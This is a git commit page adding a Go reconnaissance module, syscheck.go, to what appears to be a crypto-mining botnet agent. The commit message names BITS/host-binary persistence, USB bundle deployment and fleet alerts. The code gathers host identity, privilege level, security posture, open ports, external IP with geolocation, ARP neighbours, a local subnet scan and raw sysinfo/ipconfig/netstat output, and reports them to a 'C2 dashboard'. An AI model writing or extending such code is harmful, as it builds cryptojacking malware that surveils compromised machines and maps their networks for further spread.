feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
106
agent/client/syscheck.go
Normal file
106
agent/client/syscheck.go
Normal file
@@ -0,0 +1,106 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const syscheckRawMax = 12000
|
||||
|
||||
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
|
||||
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
||||
r := &FullSysCheckReport{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
WorkerName: cfg.WorkerName,
|
||||
BuildID: cfg.BuildID,
|
||||
AgentID: agentID,
|
||||
Network: &SysCheckNetwork{},
|
||||
Neighbors: &SysCheckNeighbors{},
|
||||
}
|
||||
|
||||
if host, err := os.Hostname(); err == nil {
|
||||
r.Hostname = host
|
||||
}
|
||||
|
||||
if p := collectPosture(); p != nil {
|
||||
r.Security = securityFromPosture(p)
|
||||
if p.AgentElevated != nil {
|
||||
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
|
||||
}
|
||||
}
|
||||
r.Patch = collectPatchStatus()
|
||||
r.ListenPorts = collectListenPorts()
|
||||
r.Resources = collectResourcePressure()
|
||||
|
||||
if dns := probeDNS(); dns != nil {
|
||||
r.Network.DNS = dns
|
||||
}
|
||||
r.Network.Interfaces = listNetInterfaces()
|
||||
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
|
||||
r.Network.PrimaryLocalIP = lip
|
||||
}
|
||||
extIP, src := fetchExternalIP()
|
||||
r.Network.ExternalIP = extIP
|
||||
r.Network.ExternalIPSource = src
|
||||
if extIP != "" {
|
||||
r.Network.Geo = fetchGeo(extIP)
|
||||
}
|
||||
|
||||
arp := deploy.ArpNeighborIPs()
|
||||
r.Neighbors.ArpHosts = arp
|
||||
r.Neighbors.ArpCount = len(arp)
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56)
|
||||
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
}
|
||||
r.Environment.InstallDir = dir
|
||||
}
|
||||
|
||||
r.RawSysinfo = truncateRaw(captureRawSysinfo())
|
||||
r.RawIPConfig = truncateRaw(captureRawIPConfig())
|
||||
r.RawNetstat = truncateRaw(captureRawNetstat())
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func truncateRaw(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if len(s) <= syscheckRawMax {
|
||||
return s
|
||||
}
|
||||
return s[:syscheckRawMax] + "\n…[truncated]"
|
||||
}
|
||||
|
||||
func captureRawSysinfo() string {
|
||||
_, _, msg := platformReconStatic("sysinfo", "")
|
||||
return msg
|
||||
}
|
||||
|
||||
func captureRawIPConfig() string {
|
||||
_, _, msg := platformReconStatic("ipconfig", "")
|
||||
return msg
|
||||
}
|
||||
|
||||
func captureRawNetstat() string {
|
||||
_, _, msg := platformReconStatic("netstat", "")
|
||||
return msg
|
||||
}
|
||||
|
||||
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
|
||||
func platformReconStatic(action, command string) (bool, bool, string) {
|
||||
// Minimal stub client-free path: duplicate switch via temp
|
||||
ac := &AgentClient{}
|
||||
return ac.platformRecon(action, command)
|
||||
}
|
||||
Reference in New Issue
Block a user